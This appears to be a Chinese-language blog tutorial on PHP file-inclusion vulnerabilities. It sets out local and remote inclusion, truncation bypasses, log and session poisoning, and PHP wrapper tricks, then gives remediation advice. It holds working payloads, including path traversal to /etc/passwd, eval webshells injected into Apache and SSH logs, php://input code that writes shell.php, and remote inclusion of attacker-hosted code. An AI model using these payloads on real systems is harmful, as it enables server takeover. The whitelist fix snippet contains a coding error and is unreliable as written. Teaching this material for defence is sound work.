我的另一篇部落格總結的不夠全面,但依然有借鑑價值:https://www.cnblogs.com/Zeker62/p/15192610.html

目錄

檔案包含的定義

  • 如果檔案包含函式沒有經過嚴格的過濾或者定義

    並且引數可以被使用者控制

    這樣就有可能包含非預期的檔案。
  • 如果檔案中存在惡意程式碼,無論檔案是什麼型別

    惡意程式碼都會被解析。
  • 檔案包含漏洞可能會造成伺服器的網頁被篡改,網站被掛馬,伺服器被遠端控制,被安裝後門等危害

檔案包含漏洞常見函式

PHP檔案包含函式有以下四種:

  • include
  • inclued_once
  • require
  • require_once

require()/require_once():如果在包含過程中有錯,那麼直接退出,不執行進一步操作。

include()/include_once(): 如果在包含過程中出錯,只會發出警告

加上字尾_once的作用:如果檔案已經包含過了,那麼不會再次包含

當利用這四大漏洞函式包含檔案的時候,不論什麼型別的檔案,都會作為PHP指令碼解析

檔案包含漏洞示例程式碼分析

檔案包含漏洞示例程式碼如下:

<?php
$file=$_GET['file'];
include $file;
?>

上面的程式碼沒有對$_GET['file']引數進行嚴格的過濾,直接代入到了include中去,攻擊者可以傳遞file引數的值來達到攻擊的目的,比如?file=../../etc/passwd來實現竊讀密碼檔案的目的。

無限制本地檔案包含漏洞

定義以及程式碼實現

無限制本地檔案包含漏洞是沒有為包含檔案指定特定的字首或者拓展名,因此攻擊者可以利用檔案包含漏洞讀取作業系統中的其他檔案,或者執行其他檔案中的程式碼

常見的敏感資訊路徑

Windows下常見敏感檔案

目錄 內容
\boot.ini 系統版本資訊
\xxx\php.ini PHP配置資訊
\xxx\my.ini MYSQL配置資訊
\xxx\httpd.conf Apache配置資訊

Linux下常見敏感檔案

目錄 內容
/etc/passwd Linux系統賬號資訊
/etc/httpd/conf/httpd.conf Apache配置資訊
/etc/my.conf MySQL配置資訊
/usr/etc/php.ini PHP配置資訊

漏洞利用

無限制本地檔案包含漏洞示例程式碼

<?php
$file=$_GET['file'];
include ($file);
?>

讀取檔案內容

通過目錄遍歷可以獲取系統中/etc/passwd檔案的內容,使用示例如下:

http://www.abc.com/flie.php?file=../../../../etc/passwd

利用無限制本地檔案包含漏洞執行程式碼

可以通過檔案包含功能執行任意拓展名的檔案中的程式碼

比如:

在同一目錄下,有如下名為phpinfo.txt檔案:

<?phpinfo();?>

當頁面訪問index.php的時候,如果輸入URL:

http://...../index.php?file=phpinfo.txt

就會輕而易舉執行txt中的phpinfo()函式,並回顯內容。

總結:這種情況的實現條件是:

  • PHP程式碼中有相關的檔案包含函式:比如 include ($file)
  • 攻擊者能夠對包含的變數進行傳遞引數:比如 \$file=$_GET['file'];

有限制本地檔案包含漏洞

有限制本地檔案包含漏洞是指程式碼中為包含檔案指定了特定的字首或者拓展名,攻擊者必須要對字首或者拓展名過濾,才能達到利用檔案包含漏洞讀取操作。

常見的過濾繞過方式有三種:

  • %00 截斷檔案包含
  • 路徑長度截斷包含
  • 點好截斷檔案包含

%00截斷檔案包含

利用條件

這個漏洞的使用必須滿足如下條件

  • magic_quotes_gpc=off
  • PHP版本低於5.3.4

示例程式碼

<?php
$file=$_GET['file'];
include ($file.".html");
?>

測試結果

輸入以下測試程式碼:

http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00

通過%00截斷了後面的html拓展名過濾,成功讀取了boot.ini的內容

路徑長度截斷檔案包含

作業系統存在著最大路徑長度的限制。可以輸入超過最大路勁長度的目錄,這樣系統就會將後面的路勁丟棄,導致拓展名截斷。

漏洞利用條件

  • Windows下最大路徑長度為256B
  • Linux下最大路徑長度為4096B

示例程式碼

<?php
$file=$_GET['file'];
include ($file.".html");
?>

測試結果

輸入測試以下程式碼:

http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

執行後發現已經成功截斷了後面的拓展名

點號截斷檔案包含

漏洞利用條件

點號截斷包含只使用與Windows系統,點號的長度大於256B的時候,就可以造成拓展名截斷

示例程式碼

<?php
$file=$_GET['file'];
include ($file.".html");
?>

測試結果

http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

發現已經成功截斷了html拓展名

Session檔案包含漏洞

當可以獲取session檔案路徑並且session檔案的內容可控的的時候,就可以通過包含session檔案進行攻擊

利用條件

session檔案包含的利用條件有兩個:

  • Session的儲存位置可以獲取
  • Session的內容可控

一般通過以下兩種方式獲取session的儲存位置:

  • 通過phpinfo的資訊獲取session的儲存位置。

    通過phpinfo的資訊獲取session.save_path
  • 通過猜測預設的session儲存位置進行嘗試

    通常Linux中的Session的預設儲存位置在/var/lib/php/session目錄下

示例分析

session檔案包含程式碼如下

session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs

此程式碼可以通過GET型的ctfs引數傳入。PHP程式碼將會獲取的值存入到Session中。

攻擊者可以利用ctfs引數將惡意程式碼寫入到session檔案中,然後在利用檔案包含漏洞包含此session檔案,向系統中傳遞惡意程式碼。

漏洞分析

上面的程式碼滿足Session檔案包含的兩個要求

  • PHP程式碼將會獲取ctfs變數的值存入到session中
  • Session的預設 儲存位置是/var/lib/php/session

訪問URL:http://www.abc.com/xxx/session.php?ctfs=a 會在/var/lib/php/session目錄下降ctfs傳入的值儲存到session中

Session的檔名以sess_開頭,後跟Sessionid,Sessionid可以通過開發者模式獲取:

單擊右鍵——檢查——儲存——Cookie——PHPSESSID 就可以找到內容

假設通過開發者模式獲取到的sessionid的值為hufh7hsdf392eurh4,所以session的檔名為sess_hufh7hsdf392eurh4

在/var/lib/php/session目錄下檢視此檔案,內容為:username|s:4:"a"

漏洞利用

通過上面的分析,可以得知,向ctfs引數傳入的內容會儲存到session檔案中。

如果存在本地檔案包含漏洞,就可以通過ctfs寫入惡意程式碼到Session檔案當中去,然後通過檔案包含漏洞執行getshell

例如:訪問程式碼http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?>後,會在/var/lib/php/session目錄下降ctfs的值寫入session檔案

session檔案的內容為:username|s:18:"<?php phpinfo();?>".

攻擊步驟

  • 將惡意程式碼寫入session檔案
  • 攻擊者可以通過PHPinfo或者猜測到session存放的位置
  • 通過開發者模式可以獲得檔名稱
  • 通過本地檔案包含漏洞可以解析session檔案達到攻擊的目的

比如:http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2

日誌檔案包含

伺服器的中介軟體,ssh服務都有日誌記錄的功能。如果開啟了日誌記錄功能,使用者訪問的日誌就會儲存到不同服務的相關檔案。

如果日誌檔案的位置是預設位置或者是可以通過其他方法獲取,就可以通過訪問日誌將惡意程式碼寫入到日誌檔案中去,然後通過檔案包含漏洞包含日誌中的惡意程式碼,獲得許可權。

典型的日誌檔案包含:

  • 中介軟體日誌檔案包含
  • ssh日誌檔案包含

中介軟體日誌檔案包含

利用條件:

  • web中介軟體日誌檔案的儲存位置已知,並且具有可讀許可權

下面開始介紹日誌檔案包含漏洞利用步驟

將惡意程式碼寫入到日誌檔案

中介軟體開啟了訪問日誌記錄功能,會訪問日誌寫入到日誌檔案中。

假設訪問URL:http://192.168.1.2/xxx/index.php

發現會在日誌檔案中有如下內容:

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....

中介軟體日誌訪問會記錄訪問者的IP地址、訪問時間、訪問路徑、返回狀態碼等等。

利用中介軟體訪問記錄路徑到日誌檔案中的功能,將惡意程式碼寫入到日誌檔案當中去:

新增惡意程式碼:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>

此時會提示404,但是不急

檢視日誌檔案,發現已經將內容寫入

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....

雖然已經寫入到日誌檔案中去了,但是瀏覽器進行了URL編碼,導致傳入的程式碼不能正常使用

可以通過burpsuite抓包的方式寫入惡意程式碼,這樣不會被瀏覽器進行URL編碼

檢視日誌檔案,內容如下

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....

惡意程式碼成功寫入

檔案包含日誌檔案

要執行檔案包含,必須要知道日誌檔案的位置。

常見的中介軟體日誌檔案都有預設的儲存路徑,比如Apache的中介軟體日誌檔案存在/var/log/httpd/目錄下,檔名叫access_log

輸入測試語句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log

之後在向網頁傳入POST引數:123=phpinfo

即可顯示出phpinfo的內容

SSH日誌檔案包含

SSH日誌檔案包含的利用條件是:

  • SSH日誌路徑已知,並且具有可讀許可權

SSH日誌檔案的預設路徑為/var/log/auth.log

下面介紹漏洞利用步驟

將惡意程式碼寫入檔案

SSH如果開啟了日誌記錄的功能,那麼會將ssh的連線日誌記錄到ssh日誌檔案當中

將連線的使用者名稱設定成惡意程式碼,用命令連線伺服器192.168.1.1的ssh服務

ssh "<?php @eval($_POST[123]);?>"@192.168.1.1

檢視日誌檔案/var/log/auth.log,可以觀察到惡意程式碼已經寫入到日誌檔案

使用檔案包含日誌檔案

測試輸入語句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log

之後再向網頁傳入POST引數:123=phpinfo

就可以出現phpinfo的內容了

遠端檔案包含

無限制遠端檔案包含

無限制遠端檔案包含是指包含檔案的位置並不在本地伺服器,而是通過URL的形式包含到其他伺服器上的檔案,以及執行檔案中的惡意程式碼

漏洞利用的條件是:

allow_url_fopen=on
allow_url_include=on

無限遠端執行檔案的程式碼如下:

<?php
$file=$_GET['file'];
include $file;
?>

設定一個檔案:php.txt 的內容為<?php phpinfo();?>

在正常情況下訪問遠端伺服器URL,http://192.168.2.1/php.txt

包含在php.txt中的phpinfo函式不會當做PHP程式碼執行,但是通過遠端檔案包含漏洞,包含在php.txt的phpinfo函式會被當做PHP程式碼執行

http://www.abc.com/file.php?file=http://192.168.2.1/php.txt

有限制的遠端檔案包含

有限制的遠端檔案包含是程式碼中存在特定的字首和字尾.php /.html 等拓展名過濾的時候,攻擊者需要繞過字首或者拓展名過濾,才能遠端執行URL程式碼

示例程式碼如下

	include($_GET['filename'].".html");

通常有限制的遠端檔案包含可以通過問號、井號、空格繞過

通過問號繞過

可以在問號後面新增html字串,問號後面的拓展名會被當做查詢,從而繞過過濾

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?

通過井號繞過

可以在#後面新增HTML字串,#會截斷後面的拓展名,從而繞過拓展名過濾.#的URL編碼為%23

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23

通過空格繞過

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20

PHP 偽協議

PHP帶有很多內建的URL風格的封裝協議,可用於 fopen\copy\file_exists\filesize等檔案系統函式

常見的PHP偽協議如下:

  • file:// 訪問本地檔案系統
  • http:// 訪問http(s)網址
  • ftp:// 訪問ftp(s)URL
  • php:// 訪問各個輸入輸出流
  • zlib:// 處理壓縮流
  • data:// 讀取資料
  • glob:// 找查匹配的檔案路徑模式
  • phar:// PHP歸檔
  • ssh2:// Secure Shell 2
  • rar:// RAR處理壓縮資料
  • ogg:// 處理音訊流
  • expect:// 處理互動式的流

php://偽協議

php://filter

php://filter 是元封裝器,設計用於資料流開啟時篩選過濾應用,對本地磁碟檔案進行讀寫

以下兩種用法相同

?filename=php://filter/read=convert.base64-encode/resource=xxx.php

?filename=php://filter/convert.base64-encode/resource=xxx.php

使用php://filter allow_url_fopen和allow_url_include不需要開啟

字首名稱 後加內容 描述
resource= 要過濾的資料流 指定要過濾的資料流
read= 讀鏈的篩選器列表 引數可選,可設定一個或者多個篩選器名稱,以管道符(|)分隔
write= 寫鏈的篩選器列表 引數可選,可設定一個或者多個篩選器名稱,以管道符(|)分隔
兩個鏈的篩選器列表 沒有用read=或者write=做字首的篩選器列表會是輕快應用於讀或者寫

這樣檔案會以base64的編碼開啟,使用python解碼即可

import base64
print(base64.b64decode("........."))

php://input

php://input可以訪問請求的原始資料的只讀流,即可以直接讀取POST上沒有經過解析的原始資料,但是使用enctype="multipart/form-data"的時候php://input是無效的。

php://input有以下三種用法

讀取POST資料

php://input可以讀取POST上沒有經過解析的原始資料

利用php://input 讀取POST資料的時候,allow_url_fopen和allow_url_include不需要開啟

示例程式碼如下

	echo file_get_contents("php://input");

上面程式碼輸出file_get_contents函式獲取的php://input資料。

測試時傳入POST資料字串test

最後會在頁面回顯出test

寫入木馬

利用php://input寫入木馬的時候,PHP配置檔案只需要開啟allow_url_include

如果POST傳入的是PHP程式碼,就可以寫入木馬

示例程式碼如下:

<?php
$file=$_GET['file'];
include($file);
?>

如果POST傳入的是一個執行寫入木馬的PHP程式碼,就會在當前目錄下寫入一個木馬,通過POST方法傳入的是以下程式碼

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

利用php://input傳入木馬的PHP程式碼

http"//www.abc.com/xxx/file.php?file=php://input

測試的結果就是通過php://input傳入了這個程式碼,並在當前目錄下建立了shell.php檔案

執行命令

示例程式碼如下:

<?php
$file=$_GET['file'];
include($file);
?>

利用php://input執行命令的時候,PHP配置檔案只需要開啟allow_url_include

如果POST傳入的是PHP程式碼,就可以執行任意程式碼,如果此時PHP程式碼呼叫了系統函式,就可以執行該命令

比如傳入POST引數

<?php system('ls');?>

file: //偽協議

file:// 可以訪問本地檔案系統,讀取本地檔案的內容

使用file:// 不需要開啟allow_url_fopen和allow_url_include

示例程式碼如下:

<?php
$file=$_GET['file'];
include($file);
?>

可以輸入以下URL

http://www.abc.com/xxx/file.php?file=file://c:/boot.ini

這個命令就可以起到訪問本地檔案的目的

data:// 偽協議

從PHP5.2.0起,資料封裝流就開始有效,用於資料流的讀取。

如果傳入的都是PHP程式碼,就會執行任意程式碼

使用方法如下

data://text/plain;base64,xxxxx(base64編碼後的資料)

利用data:// 時,PHP配置檔案需要開啟allow_url_fopen和allow_url_include

程式碼示例如下:

<?php
$file=$_GET['file'];
include($file);
?>

通過data:// 偽協議傳送phpinfo程式碼,<?php phpinfo();?>的base64編碼為PD9waHAgcGhwaW5mbygpOz8+,需要對加號進行URL編碼:%2b

最終輸入的data資料是:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

傳入到URL就是

http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://偽協議

phar:// 是用來解壓的偽協議

phar://不管引數中是什麼拓展名,都會被當做壓縮包

用法:?file=phar://壓縮包/壓縮檔案

比如:phar://xxx.png/shell.php

利用phar:// 時,PHP配置檔案需要開啟allow_url_fopen和allow_url_include,並且PHP版本要高於5.3.0

注意:壓縮包需要用zip://偽協議壓縮而不能用rar://,將木馬檔案壓縮後,改成任意字尾名都可以正常使用

程式碼示例如下:

<?php
$file=$_GET['file'];
include($file);
?>

寫一個木馬檔案shell.php,然後用zip://偽協議壓縮成shell.zip,最後修改後綴名為.png,上傳圖片

輸入測試:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

這樣phar://就會將png當做zip壓縮包進行解壓,並且訪問解壓後的shell.php檔案

zip:// 偽協議

和phar://偽協議原理類似,但用法不同

用法:?file=zip://[壓縮檔案絕對路徑]#[壓縮檔案內的子檔名]

利用zip:// 時,PHP配置檔案需要開啟allow_url_fopen和allow_url_include,並且PHP版本要高於5.3.0

注意:需要將#轉換成URL編碼:%23

程式碼示例如下:

<?php
$file=$_GET['file'];
include($file);
?>

輸入測試:http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必須是絕對路徑)

這樣zip://就會將png當做zip壓縮包進行解壓,並且訪問解壓後的shell.php檔案

expect://偽協議

expect://偽協議用來執行系統命令,但是需要安裝拓展

用法: ?file=expect://ls

檔案包含漏洞修復

程式碼配置

可以在程式碼層對檔案包含進行過濾,設定包含的引數的白名單,假設網站只包含檔案為index.php和admin.php

就可以定義好程式碼如下:

<?php
$filename=$_GET['filename'];
switch ($filename) {
case 'index':
case 'admin':
include('/var/www/html/'.filename.'.php');
break;
default:
break;
}
?>

伺服器配置

  • 修改PHP配置檔案,將open_basedir的值設定為可以包含的特定目錄,後面要加/,例如open_basedir=/var/www/html/
  • 修改PHP配置檔案,關閉allow_url_include